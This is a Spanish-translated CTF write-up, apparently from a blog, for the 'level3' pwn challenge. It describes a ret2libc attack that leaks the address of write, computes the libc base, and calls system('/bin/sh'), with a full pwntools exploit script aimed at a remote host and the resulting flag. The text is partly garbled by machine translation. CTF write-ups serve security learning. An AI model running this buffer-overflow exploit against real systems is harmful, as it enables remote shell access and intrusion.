pwn level3

Después de la descompresión, hay un nivel3 y libc_32.so.6, arrastrados a ida (32 bits)
Inserte la descripción de la imagen aquí
son principalmente estas dos funciones,
la idea básica de un problema de escritura y lectura es poner la función de escritura en la tabla obtenida a través del primer desbordamiento Aborde las fugas, luego reste el desplazamiento en libc_32.so.6 para obtener la dirección base, agregue el sistema que se encuentra en ibc_32.so.6 y el desplazamiento "/ bin / sh" para obtener la dirección real, y luego ejecute Una vez que la función principal se desborda
por segunda vez . Hay muchas formas de obtener la dirección de desplazamiento de las funciones de escritura y del sistema.
Arrastre libc_32.so.6 a ida, puede encontrar el desplazamiento de la función de escritura y la función del sistema:
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
busque "/ bin / sh "(también se puede encontrar con winhex)
Inserte la descripción de la imagen aquí
write.plt y main.pltt se pueden encontrar en ida
Inserte la descripción de la imagen aquí
Además de estos, también aprendí métodos del wp de otras personas, como sigue

from pwn import *
from LibcSeacher import *

p=remote('111.198.29.45',47340)
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')

#write_plt=0x08048340
write_plt=elf.plt['write']
write_got=elf.got['write']
#main_addr=0x08048484
main_addr=elf.symbols['main']

#填充字符+write函数地址+main函数地址+write函数的三个参数
payload1='a' * 0x8c + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendlineafter("Input:\n",payload1)

#接收write函数在got表中的地址
write_real=u32(p.recv()[:4])

#system_off=0x3a940
system_off=libc.symbols['system']
#bin_off=0x15902b
bin_off=libc.search('/bin/sh').next()
#write_off=0xd43c0
write_off=libc.symbols['write']

#计算基地址
lib_addr=write_real-write_off
#计算system地址
system_addr=lib_addr+system_off
#计算'/bin/sh'地址
bin_addr=lib_addr+bin_off

#填充字符+system地址+这里不用考虑,随意填充4个字节+'/bin/sh'地址
payload2='a'*0x8c+p32(system_addr)+'aaaa'+p32(bin_addr)
p.sendline(payload2)
p.interactive()

bandera: cyberpeace {e808c04302e73cdc5159eef2dcd92f48}
Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/104864676
Recomendado
Clasificación